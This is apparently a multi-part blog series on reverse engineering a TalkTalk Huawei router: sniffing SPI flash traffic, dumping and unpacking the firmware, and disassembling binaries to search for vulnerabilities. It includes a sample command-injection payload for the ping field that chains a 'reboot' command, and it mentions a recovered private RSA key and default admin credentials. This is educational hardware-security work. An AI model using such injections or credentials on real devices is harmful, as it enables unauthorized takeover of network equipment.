Having the source code for the bootloader can be very useful for some projects, where it can help you figure out how to run a custom firmware on the device or modify something; some bootloaders are much more feature-rich than others. In this case, I’m not interested in anything U-Boot has to offer, so I didn’t bother following up on the source code.

Kernel Source Code

Let’s just check out the source code and look for anything that might help. Remember the factory reset button? The button is part of the hardware layer, which means the GPIO pin that detects the button press must be controlled by the drivers. These are the logs we saw coming out of the UART port in a previous post:

UART system restore logs

With some simple grep commands we can see how the different components of the system (kernel, binaries and shared objects) can work together and produce the serial output we saw:

System reset button propagates to user space

Having the kernel can help us find poorly implemented security-related algorithms and other weaknesses that are sometimes considered ‘accepted risks’ by manufacturers. Most importantly, we can use the drivers to compile and run our own OS on the device.

User Space Source Code

As we can see in the GPL release, some components of the user space are also open source, such as busybox and iptables. Given the right (wrong) versions, public vulnerability databases could be enough to find exploits for any of these.

That being said, if you’re looking for 0-days, backdoors or sensitive data, your best bet is not the open source projects. Devic specific and closed source code developed by the manufacturer or one of their providers has not been so heavily tested and may very well be riddled with bugs. Most of this code is stored as binaries in the user space; we’ve got the entire filesystem, so we’re good.

Without the source code for user space binaries, we need to find a way to read the machine code inside them. That’s where disassembly comes in.

Binary Disassembly [Theory]

The code inside every executable binary is just a compilation of instructions encoded as Machine Code so they can be processed by the CPU. Our processor’s datasheet will explain the direct equivalence between assembly instructions and their machine code representations. A disassembler has been given that equivalence so it can go through the binary, find data and machine code andtranslate it into assembly. Assembly is not pretty, but at least it’s human-readable.

Due to the very low-level nature of the kernel, and how heavily it interacts with the hardware, it is incredibly difficult to make any sense of its binary. User space binaries, on the other hand, are abstracted away from the hardware and follow unix standards for calling conventions, binary format, etc. They’re an ideal target for disassembly.

Popular Disassemblers

There are lots of disassemblers for popular architectures like MIPS; some better than others both in terms of functionality and usability. I’d say these 3 are the most popular and powerful disassemblers in the market right now:

IDA Pro: By far the most popular disassembler/debugger in the market. It is extremely powerful, multi-platform, and there are loads of users, tutorials, plugins, etc. around it. Unfortunately, it’s also VERY expensive; a single person license of the Pro version (required to disassemble MIPS binaries) costs over $1000
Radare2: Completely Open Source, uses an impressively advanced command line interface, and there’s a great community of hackers around it. On the other hand, the complex command line interface -necessary for the sheer amount of features- makes for a rather steep learning curve
Binary Ninja: Not open source, but reasonably priced at $100 for a personal license, it’s middle ground between IDA and radare. It’s still a very new tool; it was just released this year, but it’s improving and gaining popularity day by day. It already works very well for some architectures, but unfortunately it’s still missing MIPS support (coming soon) and some other features I needed for these binaries. I look forward to giving it another try when it’s more mature

In order to display the assembly code in a more readable way, all these disasemblers use a “Graph View”. It provides an intuitive way to follow the different possible execution flows in the binary:

IDA Small Function Graph View

Such a clear representation of branches, and their conditionals, loops, etc. is extremely useful. Without it, we’d have to manually jump from one branch to another in the raw assembly code. Not so fun.

If you read the code in that function you can see the disassembler makes a great job displaying references to functions and hardcoded strings. That might be enough to help us find something juicy, but in most cases you’ll need to understand the assembly code to a certain extent.

Gathering Intel on the CPU and Its Assembly Code [Theory]

Let’s take a look at the format of our binaries:

$ file bin/busybox
bin/busybox: ELF 32-bit LSB executable, MIPS, MIPS-II version 1 (SYSV), dynamically linked (uses shared libs), corrupted section header size

Because ELF headers are designed to be platform-agnostic, we can easily find out some info about our binaries. As you can see, we know the architecture (32-bit MIPS), endianness (LSB), and whether it uses shared libraries.

We can verify that information thanks to the Ralink’s product brief, which specifies the processor core it uses: MIPS24KEc

Product Brief Highlighted Processor Core

With the exact version of the CPU core, we can easily find its datasheet as released by the company that designed it: Imagination Technologies.

Once we know the basics we can just drop the binary into the disassembler. It will help validate some of our findings, and provide us with the assembly code. In order to understand that code we’re gonna need to know the architecture’s instruction sets and register names:

MIPS Instruction Set
MIPS Pseudo-Instructions: Very simple combinations of basic instructions, used for developer/reverser convenience
MIPS Alternate Register Names: In MIPS, there’s no real difference between registers; the CPU doesn’t about what they’re called. Alternate register names exist to make the code more readable for the developer/reverser: $a0 to $a3 for function arguments, $t0 to $t9 for temporary registers, etc.

Beyond instructions and registers, some architectures may have some quirks. One example of this would be the presence of delay slots in MIPS: Instructions that appear immediately after branch instructions (e.g. beqz, jalr) but are actually executed before the jump. That sort of non-linearity would be unthinkable in other architectures.

Some interesting links if you’re trying to learn MIPS: Intro to MIPS Reversing using Radare2, MIPS Assembler and Runtime Simulator, Toolchains to cross-compile for MIPS targets.

Example of User Space Binary Disassembly

Following up on the reset key example we were using for the Kernel, we’ve got the code that generated some of the UART log messages, but not all of them. Since we couldn’t find the ‘button has been pressed’ string in the kernel’s source code, we can deduce it must have come from user space. Let’s find out which binary printed it:

~/Tech/Reversing/Huawei-HG533_TalkTalk/router_filesystem
$ grep -i -r "restore default success" .
Binary file ./bin/cli matches
Binary file ./bin/equipcmd matches
Binary file ./lib/libcfmapi.so matches

3 files contain the next string found in the logs: 2 executables in /bin/ and 1 shared object in /lib/. Let’s take a look at /bin/equipcmd with IDA:

restore success string in /bin/equipcmd - IDA GUI

If we look closely, we can almost read the C code that was compiled into these instructions. We can see a “clear configuration file”, which would match the ERASEcommands we saw in the SPI traffic capture to the flash IC. Then, depending on the result, one of two strings is printed: restore default success or restore default fail . On success, it then prints something else, flushes some buffers and reboots; this also matches the behaviour we observed when we pressed the reset button.

That function is a perfect example of delay slots: the addiu instructions that set both strings as arguments —$a0— for the 2 puts are in the delay slots of the branch if equals zero and jump and link register instructions. They will actually be executed before branching/jumping.

As you can see, IDA has the name of all the functions in the binary. That won’t necessarily be the case in other binaries, and now’s a good time to discuss why.

Function Names in a Binary — Intro to Symbol Tables [Theory]

The ELF format specifies the usage of symbol tables: chunks of data inside a binary that provide useful debugging information. Part of that information are human-readable names for every function in the binary. This is extremely convenient for a developer debugging their binary, but in most cases it should be removed before releasing the production binary. The developers were nice enough to leave most of them in there 🙂

In order to remove them, the developers can use tools like strip, which know what must be kept and what can be spared. These tools serve a double purpose: They save memory by removing data that won’t be necessary at runtime, and they make the reversing process much more complicated for potential attackers. Function names give context to the code we’re looking at, which is massively helpful.

In some cases -mostly when disassembling shared objects- you may see somefunction names or none at all. The ones you WILL see are the Dynamic Symbols in the .dymsym table: We discussed earlier the massive amount of memory that can be saved by using shared objects to keep the pieces of code you need to re-use all over the system (e.g. printf()). In order to locate pieces of data inside the shared object, the caller uses their human-readable name. That means the names for functions and variables that need to be publicly accessible must be left in the binary. The rest of them can be removed, which is why ELF uses 2 symbol tables: .dynsym for publicly accessible symbols and .symtab for the internal ones.

For more details on symbol tables and other intricacies of the ELF format, check out: The ELF Format — How programs look from the inside, Inside ELF Symbol Tablesand the ELF spec (PDF).

Looking for the Default WiFi Password Generation Algorithm

What do We Know?

Remember the wifi password generation algorithm we discussed in part 3? (The Pot of Gold at the End of the Firmware) I explained then why I didn’t expect this router to have one, but let’s take a look anyway.

If you recall, these are the default WiFi credentials in my router:

Router Sticker - Annotated

So what do we know?

Each device is pre-configured with a different set of WiFi credentials
The credentials could be hardcoded at the factory or generated on the device. Either way, we know from previous posts that both SSID and password are stored in the reserved area of Flash memory, and they’re right next to each other
- If they were hardcoded at the factory, the router only needs to read them from a known memory location
- If they are generated in the device and then stored to flash, there must be an algorithm in the router that -given the same inputs- always generates the same outputs. If the inputs are public (e.g. the MAC address) and we can find, reverse and replicate the algorithm, we could calculate default WiFi passwords for any other router that uses the same algorithm

Let’s see what we can do with that…

Finding Hardcoded Strings

Let’s assume there IS such algorithm in the router. Between username and password, there’s only one string that remains constant across devices:TALKTALK-. This string is prepended to the last 6 characters of the MAC address. If the generation algorithm is in the router, surely this string must be hardcoded in there. Let’s look it up:

$ grep -r 'TALKTALK-' .
Binary file ./bin/cms matches
Binary file ./bin/nmbd matches
Binary file ./bin/smbd matches

2 of those 3 binaries (nmbd and smbd) are part of samba, the program used to use the USB flash drive as a network storage device. They’re probably used to identify the router over the network. Let’s take a look at the other one: /bin/cms.

Reversing the Functions that Uses Them

IDA TALKTALK-XXXXXX String Being Built

That looks exactly the way we’d expect the SSID generation algorithm to look. The code is located inside a rather large function called ATP_WLAN_Init, and somewhere in there it performs the following actions:

Find out the MAC address of the device we’re running on:
- mac = BSP_NET_GetBaseMacAddress()
Create the SSID string:
- snprintf(SSID, "TALKTALK-%02x%02x%02x", mac[3], mac[4], mac[5])
Save the string somewhere:
- ATP_DBSetPara(SavedRegister3, 0xE8801E09, SSID)

Unfortunately, right after this branch the function simply does an ATP_DBSave and moves on to start running commands and whatnot. e.g.:

ATP_WLAN_Init moves on before you

Further inspection of this function and other references to ATP_DBSave did not reveal anything interesting.

Giving Up

After some time using this process to find potentially relevant pieces of code, reverse them, and analyse them, I didn’t find anything that looked like the password generation algorithm. That would confirm the suspicions I’ve had since we found the default credentials in the protected flash area: The manufacturer used proper security techniques and flashed the credentials at the factory, which is why there is no algorithm. Since the designers manufacture their own hardware, the decision makes perfect sense for this device. They can do whatever they want with their manufacturing lines, so they decided to do it right.

I might take another look at it in the future, or try to find it in some other router (I’d like to document the process of reversing it), but you should know this method DOES work for a lot of products. There’s a long history of freely available default WiFi password generators.

Since we already know how to find relevant code in the filesystem binaries, let’s see what else we can do with that knowledge.

Looking for Command Injection Vulnerabilities

One of the most common, easy to find and dangerous vulnerabilities is command injection. The idea is simple; we find an input string that is gonna be used as an argument for a shell command. We try to append our own commands and get them to execute, bypassing any filters that the developers may have implemented. In embedded devices, such vulnerabilities often result in full root control of the device.

These vulnerabilities are particularly common in embedded devices due to their memory constraints. Say you’re developing the web interface used by the users to configure the device; you want to add the possibility to ping a user-defined server from the router, because it’s very valuable information to debug network problems. You need to give the user the option to define the ping target, and you need to serve them the results:

Router WEB Interface Ping in action

Once you receive the data of which server to target, you have two options: You find a library with the ICMP protocol implemented and call it directly from the web backend, or you could use a single, standard function call and use the router’s already existing ping shell command. The later is easier to implement, saves memory, etc. and it’s the obvious choice. Taking user input (target server address) and using it as part of a shell command is where the danger comes in. Let’s see how this router’s web application, /bin/web, handles it:

/bin/web's ping function

A call to libc’s system() (not to be confused with a system call/syscall) is the easiest way to execute a shell command from an application. Sometimes developers wrap system() in custom functions in order to systematically filter all inputs, but there’s always something the wrapper can’t do or some developer who doesn’t get the memo.

Looking for references to system in a binary is an excellent way to find vectors for command injections. Just investigate the ones that look like may be using unfiltered user input. These are all the references to system() in the /bin/web binary:

xrefs to system in /bin/web

Even the names of the functions can give you clues on whether or not a reference to system() will receive user input. We can also see some references to PIN and PUK codes, SIMs, etc. Seems like this application is also used in some mobile product…

I spent some time trying to find ways around the filtering provided byatp_gethostbyname (anything that isn’t a domain name causes an error), but I couldn’t find anything in this field or any others. Further analysis may prove me wrong. The idea would be to inject something to the effects of this:

Attempt reboot injection on ping field

Which would result in this final string being executed as a shell command: ping google.com -c 1; reboot; ping 192.168.1.1 > /dev/null. If the router reboots, we found a way in.

As I said, I couldn’t find anything. Ideally we’d like to verify that for all input fields, whether they’re in the web interface or some other network interface. Another example of a network interface potentially vulnerable to remote command injections is the “LAN-Side DSL CPE Configuration” protocol, or TR-064. Even though this protocol was designed to be used over the internal network only, it’s been used to configure routers over the internet in the past. Command injection vulnerabilities in some implementations of this protocol have been used to remotely extract data like WiFi credentials from routers with just a few packets.

This router has a binary conveniently named /bin/tr064; if we take a look, we find this right in the main() function:

/bin/tr064 using /etc/serverkey.pem

That’s the private RSA key we found in Part 2 being used for SSL authentication. Now we might be able to supplant a router in the system and look for vulnerabilities in their servers, or we might use it to find other attack vectors. Most importantly, it closes the mistery of the private key we found while scouting the firmware.

Looking for More Complex Vulnerabilities [Theory]

Even if we couldn’t find any command injection vulnerabilities, there are always other vectors to gain control of the router. The most common ones are good old buffer overflows. Any input string into the router, whether it is for a shell command or any other purpose, is handled, modified and passed around the code. An error by the developer calculating expected buffer lengths, not validating them, etc. in those string operations can result in an exploitable buffer overflow, which an attacker can use to gain control of the system.

The idea behind a buffer overflow is rather simple: We manage to pass a string into the system that contains executable code. We override some address in the program so the execution flow jumps into the code we just injected. Now we can do anything that binary could do -in embedded systems like this one, where everything runs as root, it means immediate root pwnage.

Introducing an unexpectedly long input

Developing an exploit for this sort of vulnerability is not as simple as appending commands to find your way around a filter. There are multiple possible scenarios, and different techniques to handle them. Exploits using more involved techniques like ROP can become necessary in some cases. That being said, most household embedded systems nowadays are decades behind personal computers in terms of anti-exploitation techniques. Methods like Address Space Layout Randomization(ASLR), which are designed to make exploit development much more complicated, are usually disabled or not implemented at all.

If you’d like to find a potential vulnerability so you can learn exploit development on your own, you can use the same techniques we’ve been using so far. Find potentially interesting inputs, locate the code that manages them using function names, hardcoded strings, etc. and try to trigger a malfunction sending an unexpected input. If we find an improperly handled string, we might have an exploitable bug.

Once we’ve located the piece of disassembled code we’re going to attack, we’re mostly interested in string manipulation functions like strcpy, strcat,sprintf, etc. Their more secure counterparts strncpy, strncat, etc. are also potentially vulnerable to some techniques, but usually much more complicated to work with.

Pic of strcpy handling an input

Even though I’m not sure that function -extracted from /bin/tr064— is passed any user inputs, it’s still a good example of the sort of code you should be looking for. Once you find potentially insecure string operations that may handle user input, you need to figure out whether there’s an exploitable bug.

Try to cause a crash by sending unexpectedly long inputs and work from there. Why did it crash? How many characters can I send without causing a crash? Which payload can I fit in there? Where does it land in memory? etc. etc. I may write about this process in more detail at some point, but there’s plenty of literature available online if you’re interested.

Don’t spend all your efforts on the most obvious inputs only -which are also more likely to be properly filtered/handled-; using tools like the burp web proxy (or even the browser itself), we can modify fields like cookies to check for buffer overflows.

Web vulnerabilities like CSRF are also extremely common in embedded devices with web interfaces. Exploiting them to write to files or bypass authentication can lead to absolute control of the router, specially when combined with command injections. An authentication bypass for a router with the web interface available from the Internet could very well expose the network to being remotely man in the middle’d. They’re definitely an important attack vector, even though I’m not gonna go into how to find them.

Decompiling Binaries [Theory]

When you decompile a binary, instead of simply translating Machine Code to Assembly Code, the decompiler uses algorithms to identify functions, loops, branches, etc. and replicate them in a higher level language like C or Python.

That sounds like a brilliant idea for anybody who has been banging their head against some assembly code for a few hours, but an additional layer of abstraction means more potential errors, which can result in massive wastes of time.

In my (admittedly short) personal experience, the output just doesn’t look reliable enough. It might be fine when using expensive decompilers (IDA itself supports a couple of architectures), but I haven’t found one I can trust with MIPS binaries. That being said, if you’d like to give one a try, the RetDec online decompiler supports multiple architectures- including MIPS.

Binary Decompiled to C by RetDec

Even as a ‘high level’ language, the code is not exactly pretty to look at.

Next Steps

Whether we want to learn something about an algorithm we’re reversing, to debug an exploit we’re developing or to find any other sort of vulnerability, being able to execute (and, if possible, debug) the binary on an environment we fully control would be a massive advantage. In some/most cases -like this router-, being able to debug on the original hardware is not possible. In the next post, we’ll work on CPU emulation to debug the binaries in our own computers.

Thanks for reading! I’m sorry this post took so long to come out. Between work,hardwear.io and seeing family/friends, this post was written about 1 paragraph at a time from 4 different countries. Things should slow down for a while, so hopefully I’ll be able to publish Part 6 soon. I’ve also got some other reversing projects coming down the pipeline, starting with hacking the Amazon Echo and a router with JTAG. I’ll try to get to those soon, work permitting… Happy Hacking 🙂

Tips and Tricks

Mistaken xrefs and how to remove them

Sometimes an address is loaded into a register for 16bit/32bit adjustments. The contents of that address have no effect on the rest of the code; it’s just a routinary adjustment. If the address that is assigned to the register happens to be pointing to some valid data, IDA will rename the address in the assembly and display the contents in a comment.

It is up to you to figure out whether an x-ref makes sense or not. If it doesn’t, select the variable and press o in IDA to ignore the contents and give you only the address. This makes the code much less confusing.

Setting function prototypes so IDA comments the args around calls for us

Set the cursor on a function and press y. Set the prototype for the function: e.g. int memcpy(void *restrict dst, const void *restrict src, int n);. Note:IDA only understands built-in types, so we can’t use types like size_t.

Once again we can use the extern declarations found in the GPL source code. When available, find the declaration for a specific function, and use the same types and names for the arguments in IDA.

Taking Advantage of the GPL Source Code

If we wanna figure out what are the 1st and 2nd parameters of a function likeATP_DBSetPara, we can sometimes rely on the GPL source code. Lots of functions are not implemented in the kernel or any other open source component, but they’re still used from one of them. That means we can’t see the code we’re interested in, but we can see the extern declarations for it. Sometimes the source will include documentation comments or descriptive variable names; very useful info that the disassembly doesn’t provide:

ATP_DBSetPara extern declaration in gpl_source/inc/cfmapi.h

Unfortunately, the function documentation comment is not very useful in this case -seems like there were encoding issues with the file at some point, and everything written in Chinese was lost. At least now we know that the first argument is a list of keys, and the second is something they call ParamCMO. ParamCMO is a constant in our disassembly, so it’s probably just a reference to the key we’re trying to set.

Disassembly Methods — Linear Sweep vs Recursive Descent

The structure of a binary can vary greatly depending on compiler, developers, etc. How functions call each other is not always straightforward for a disassembler to figure out. That means you may run into lots of ‘orphaned’ functions, which exist in the binary but do not have a known caller.

Which disassembler you use will dictate whether you see those functions or not, some of which can be extremely important to us (e.g. the ping function in theweb binary we reversed earlier). This is due to how they scan binaries for content:

Linear Sweep: Read the binary one byte at a time, anything that looks like a function is presented to the user. This requires significant logic to keep false positives to a minimum
Recursive Descent: We know the binary’s entry point. We find all functions called from main(), then we find the functions called from those, and keep recursively displaying functions until we’ve got “all” of them. This method is very robust, but any functions not referenced in a standard/direct way will be left out

Make sure your disassembler supports linear sweep if you feel like you’re missing any data. Make sure the code you’re looking at makes sense if you’re using linear sweep.

27.06.2018

Practical Reverse Engineering Part 4 — Dumping the Flash

Projects and learnt lessons on Systems Security, Embedded Development, IoT and anything worth writing about

Part 1: Hunting for Debug Ports
Part 2: Scouting the Firmware
Part 3: Following the Data
Part 4: Dumping the Flash
Part 5: Digging Through the Firmware

In Parts 1 to 3 we’ve been gathering data within its context. We could sniff the specific pieces of data we were interested in, or observe the resources used by each process. On the other hand, they had some serious limitations; we didn’t have access to ALL the data, and we had to deal with very minimal tools… And what if we had not been able to find a serial port on the PCB? What if we had but it didn’t use default credentials?

In this post we’re gonna get the data straight from the source, sacrificing context in favour of absolute access. We’re gonna dump the data from the Flash IC and decompress it so it’s usable. This method doesn’t require expensive equipment and is independent of everything we’ve done until now. An external Flash IC with a public datasheet is a reverser’s great ally.

Dumping the Memory Contents

As discussed in Part 3, we’ve got access to the datasheet for the Flash IC, so there’s no need to reverse its pinout:

Flash Pic Annotated Pinout

We also have its instruction set, so we can communicate with the IC using almost any device capable of ‘speaking’ SPI.

We also know that powering up the router will cause the Ralink to start communicating with the Flash IC, which would interfere with our own attempts to read the data. We need to stop the communication between the Ralink and the Flash IC, but the best way to do that depends on the design of the circuit we’re working with.

Do We Need to Desolder The Flash IC? [Theory]

The perfect way to avoid interference would be to simply desolder the Flash IC so it’s completely isolated from the rest of the circuit. It gives us absolute control and removes all possible sources of interference. Unfortunately, it also requires additional equipment, experience and time, so let’s see if we can avoid it.

The second option would be to find a way of keeping the Ralink inactive while everything else around it stays in standby. Microcontrollers often have a Reset pin that will force them to shut down when pulled to 0; they’re commonly used to force IC reboots without interrupting power to the board. In this case we don’t have access to the Ralink’s full datasheet (it’s probably distributed only to customers and under NDA); the IC’s form factor and the complexity of the circuit around it make for a very hard pinout to reverse, so let’s keep thinking…

What about powering one IC up but not the other? We can try applying voltage directly to the power pins of the Flash IC instead of powering up the whole circuit. Injecting power into the PCB in a way it wasn’t designed for could blow something up; we could reverse engineer the power circuit, but that’s tedious work. This router is cheap and widely available, so I took the ‘fuck it’ approach. The voltage required, according to the datasheet, is 3V; I’m just gonna apply power directly to the Flash IC and see what happens. It may power up the Ralink too, but it’s worth a try.

Flash Powered UART Connected

We start supplying power while observing the board and waiting for data from the Ralink’s UART port. We can see some LEDs light up at the back of the PCB, but there’s no data coming out of the UART port; the Ralink must not be running. Even though the Ralink is off, its connection to the Flash IC may still interfere with our traffic because of multiple design factors in both power circuit and the silicon. It’s important to keep that possibility in mind in case we see anything dodgy later on; if that was to happen we’d have to desolder the Flash IC (or just its data pins) to physically disconnect it from everything else.

The LEDs and other static components can’t communicate with the Flash IC, so they won’t be an issue as long as we can supply enough current for all of them. I’m just gonna use a bench power supply, with plenty of current available for everything. If you don’t have one you can try using the Master’s power lines, or some USB power adapter if you need some more current. They’ll probably do just fine.

Time to connect our SPI Master.

Connecting to the Flash IC

Now that we’ve confirmed there’s no need to desolder the Ralink we can connect any device that speaks SPI and start reading memory contents block by block. Any microcontroller will do, but a purpose-specific SPI-USB bridge will often be much faster. In this case I’m gonna be using a board based on the FT232H, which supports SPI among some other low level protocols.

We’ve got the pinout for both the Flash and my USB-SPI bridge, so let’s get everything connected.

Shikra and Power Connected to Flash

Now that the hardware is ready it’s time to start pumping data out.

Dumping the Data

We need some software in our computer that can understand the USB-SPI bridge’s traffic and replicate the memory contents as a binary file. Writing our own wouldn’t be difficult, but there are programs out there that already support lots of common Masters and Flash ICs. Let’s try the widely known and open source flashrom.

flashrom is old and buggy, but it already supports both the FT232H as Master and the FL064PIF as Slave. It gave me lots of trouble in both OSX and an Ubuntu VM, but ended up working just fine on a Raspberry Pi (Raspbian):

flashrom stdout

Success! We’ve got our memory dump, so we can ditch the hardware and start preparing the data for analysis.

Splitting the Binary

The file command has been able to identify some data about the binary, but that’s just because it starts with a header in a supported format. In a 0-knowledge scenario we’d use binwalk to take a first look at the binary file and find the data we’d like to extract.

Binwalk is a very useful tool for binary analysis created by the awesome hackers at /dev/ttyS0; you’ll certainly get to know them if you’re into hardware hacking.

binwalk spidump.bin

In this case we’re not in a 0-knowledge scenario; we’ve been gathering data since day 1, and we obtained a complete memory map of the Flash IC in Part 2. The addresses mentioned in the debug message are confirmed by binwalk, and it makes for much cleaner splitting of the binary, so let’s use it:

Flash Memory Map From Part 2

With the binary and the relevant addresses, it’s time to split the binary into its 4 basic segments. dd takes its parameters in terms of block size (bs, bytes), offset (skip, blocks) and size (count, blocks); all of them in decimal. We can use a calculator or let the shell do the hex do decimal conversions with $(()):

$ dd if=spidump.bin of=bootloader.bin bs=1 count=$((0x020000))
    131072+0 records in
    131072+0 records out
    131072 bytes transferred in 0.215768 secs (607467 bytes/sec)
$ dd if=spidump.bin of=mainkernel.bin bs=1 count=$((0x13D000-0x020000)) skip=$((0x020000))
    1167360+0 records in
    1167360+0 records out
    1167360 bytes transferred in 1.900925 secs (614101 bytes/sec)
$ dd if=spidump.bin of=mainrootfs.bin bs=1 count=$((0x660000-0x13D000)) skip=$((0x13D000))
    5386240+0 records in
    5386240+0 records out
    5386240 bytes transferred in 9.163635 secs (587784 bytes/sec)
$ dd if=spidump.bin of=protect.bin bs=1 count=$((0x800000-0x660000)) skip=$((0x660000))
    1703936+0 records in
    1703936+0 records out
    1703936 bytes transferred in 2.743594 secs (621060 bytes/sec)

We have created 4 different binary files:

bootloader.bin: U-boot. The bootloader. It’s not compressed because the Ralink wouldn’t know how to decompress it.
mainkernel.bin: Linux Kernel. The basic firmware in charge of controlling the bare metal. Compressed using lzma
mainrootfs.bin: Filesystem. Contains all sorts of important binaries and configuration files. Compressed as squashfs using the lzma algorithm
protect.bin: Miscellaneous data as explained in Part 3. Not compressed

Extracting the Data

Now that we’ve split the binary into its 4 basic segments, let’s take a closer look at each of them.

Bootloader

binwalk bootloader.bin

Binwalk found the uImage header and decoded it for us. U-Boot uses these headers to identify relevant memory areas. It’s the same info that the file command displayed when we fed it the whole memory dump because it’s the first header in the file.

We don’t care much for the bootloader’s contents in this case, so let’s ignore it.

Kernel

binwalk mainkernel.bin

Compression is something we have to deal with before we can make any use of the data. binwalk has confirmed what we discovered in Part 2, the kernel is compressed using lzma, a very popular compression algorithm in embedded systems. A quick check with strings mainkernel.bin | less confirms there’s no human readable data in the binary, as expected.

There are multiple tools that can decompress lzma, such as 7z or xz. None of those liked mainkernel.bin:

$ xz --decompress mainkernel.bin
xz: mainkernel.bin: File format not recognized

The uImage header is probably messing with tools, so we’re gonna have to strip it out. We know the lzma data starts at byte 0x40, so let’s copy everything but the first 64 bytes.

dd if=mainkernel of=noheader

And when we try to decompress…

$ xz --decompress mainkernel_noheader.lzma
xz: mainkernel_noheader.lzma: Compressed data is corrupt

xz has been able to recognize the file as lzma, but now it doesn’t like the data itself. We’re trying to decompress the whole mainkernel Flash area, but the stored data is extremely unlikely to be occupying 100% of the memory segment. Let’s remove any unused memory from the tail of the binary and try again:

Cut off the tail; decompression success

xz seems to have decompressed the data successfully. We can easily verify that using the strings command, which finds ASCII strings in binary files. Since we’re at it, we may as well look for something useful…

strings kernel grep key

The Wi-Fi Easy and Secure Key Derivation string looks promising, but as it turns out it’s just a hardcoded string defined by the Wi-Fi Protected Setup spec. Nothing to do with the password generation algorithm we’re interested in.

We’ve proven the data has been properly decompressed, so let’s keep moving.

Filesystem

binwalk mainrootfs.bin

The mainrootfs memory segment does not have a uImage header because it’s relevant to the kernel but not to U-Boot.

SquashFS is a very common filesystem in embedded systems. There are multiple versions and variations, and manufacturers sometimes use custom signatures to make the data harder to locate inside the binary. We may have to fiddle with multiple versions of unsquashfs and/or modify the signatures, so let me show you what the signature looks like in this case:

sqsh signature in hexdump

Since the filesystem is very common and finding the right configuration is tedious work, somebody may have already written a script to automate the task. I came across this OSX-specific fork of the Firmware Modification Kit, which compiles multiple versions of unsquashfs and includes a neat script called unsquashfs_all.sh to run all of them. It’s worth a try.

unsquashfs_all.sh mainrootfs.bin

Wasn’t that easy? We got lucky with the SquashFS version and supported signature, and unsquashfs_all.sh managed to decompress the filesystem. Now we’ve got every binary in the filesystem, every symlink and configuration file, and everything is nice and tidy:

tree unsquashed_filesystem

In the complete file tree we can see we’ve got every file in the system, (other than runtime files like those in /var/, of course).

Using the intel we have been gathering on the firmware since day 1 we can start looking for potentially interesting binaries:

grep -i -r '$INTEL' squashfs-root

If we were looking for network/application vulnerabilities in the router, having every binary and config file in the system would be massively useful.

Protected

binwalk protect.bin

As we discussed in Part 3, this memory area is not compressed and contains all pieces of data that need to survive across reboots but be different across devices. strings seems like an appropriate tool for a quick overview of the data:

strings protect.bin

Everything in there seems to be just the curcfg.xml contents, some logs and those few isolated strings in the picture. We already sniffed and analysed all of that data in Part 3, so there’s nothing else to discuss here.

Next Steps

At this point all hardware reversing for the Ralink is complete and we’ve collected everything there was to collect in ROM. Just think of what you may be interested in and there has to be a way to find it. Imagine we wanted to control the router through the UART debug port we found in Part 1, but when we try to access the ATP CLI we can’t figure out the credentials. After dumping the external Flash we’d be able to find the XML file in the protect area, and discover the credentials just like we did in Part 2 (The Rambo Approach to Intel Gathering, admin:admin).

If you couldn’t dump the memory IC for any reason, the firmware upgrade files provided by the manufacturers will sometimes be complete memory segments; the device simply overwrites the relevant flash areas using code previously loaded to RAM. Downloading the file from the manufacturer would be the equivalent of dumping those segments from flash, so we just need to decompress them. They won’t have all the data, but it may be enough for your purposes.

Now that we’ve got the firmware we just need to think of anything we may be interested in and start looking for it through the data. In the next post we’ll dig a bit into different binaries and try to find more potentially useful data.

27.06.2018

Practical Reverse Engineering Part 3 — Following the Data

Projects and learnt lessons on Systems Security, Embedded Development, IoT and anything worth writing about

Part 1: Hunting for Debug Ports
Part 2: Scouting the Firmware
Part 3: Following the Data
Part 4: Dumping the Flash
Part 5: Digging Through the Firmware

The best thing about hardware hacking is having full access to very bare metal, and all the electrical signals that make the system work. With ingenuity and access to the right equipment we should be able to obtain any data we want. From simply sniffing traffic with a cheap logic analyser to using thousands of dollars worth of equipment to obtain private keys by measuring the power consumed by the device with enough precision (power analysis side channel attack); if the physics make sense, it’s likely to work given the right circumstances.

In this post I’d like to discuss traffic sniffing and how we can use it to gather intel.

Traffic sniffing at a practical level is used all the time for all sorts of purposes, from regular debugging during the delopment process to reversing the interface of gaming controllers, etc. It’s definitely worth a post of its own, even though this device can be reversed without it.

Please check out the legal disclaimer in case I come across anything sensitive.

Full disclosure: I’m in contact with Huawei’s security team. I tried to contact TalkTalk, but their security staff is nowhere to be seen.

Data Flows In the PCB

Data is useless within its static memory cells, it needs to be read, written and passed around in order to be useful. A quick look at the board is enough to deduce where the data is flowing through, based on IC placement and PCB traces:

PCB With Data Flows and Some IC Names

We’re not looking for hardware backdoors or anything buried too deep, so we’re only gonna look into the SPI data flowing between the Ralink and its external Flash.

Pretty much every IC in the market has a datasheet documenting all its technical characteristics, from pinouts to power usage and communication protocols. There are tons of public datasheets on google, so find the ones relevant to the traffic you want to sniff:

Ralink RT3352F product brief: Not a datasheet, but it’s got some useful data
Spansion FL064PIF: 64-Mbit SPI Flash Memory

Now we’ve got pinouts, electrical characteristics, protocol details… Let’s take a first look and extract the most relevant pieces of data.

Understanding the Flash IC

We know which data flow we’re interested: The SPI traffic between the Ralink IC and Flash. Let’s get started; the first thing we need is to figure out how to connect the logic analyser. In this case we’ve got the datasheet for the Flash IC, so there’s no need to reverse engineer any pinouts:

Flash Pic Annotated Pinout

Standard SPI communication uses 4 pins:

MISO (Master In Slave Out): Data line Ralink<-Flash
MOSI (Master Out Slave In): Data line Ralink->Flash
SCK (Clock Signal): Coordinates when to read the data lines
CS# (Chip Select): Enables the Flash IC when set to 0 so multiple of them can share MISO/MOSI/SCK lines.

We know the pinout, so let’s just connect a logic analyser to those 4 pins and capture some random transmission:

Connected Logic Analyser

In order to set up our logic analyser we need to find out some SPI configuation options, specifically:

Transmission endianness [Standard: MSB First]
Number of bits per transfer [Standard: 8]. Will be obvious in the capture
CPOL: Default state of the clock line while inactive [0 or 1]. Will be obvious in the capture
CPHA: Clock edge that triggers the data read in the data lines [0=leading, 1=trailing]. We’ll have to deduce this

The datasheet explains that the flash IC understands only 2 combinations of CPOL and CPHA: (CPOL=0, CPHA=0) or (CPOL=1, CPHA=1)

Datasheet SPI Settings

Let’s take a first look at some sniffed data:

Logic Screencap With CPOL/CPHA Annotated

In order to understand exactly what’s happenning you’ll need the FL064PIF’s instruction set, available in its datasheet:

FL064PIF Instruction Set

Now we can finally analyse the captured data:

Logic Sample SPI Packet

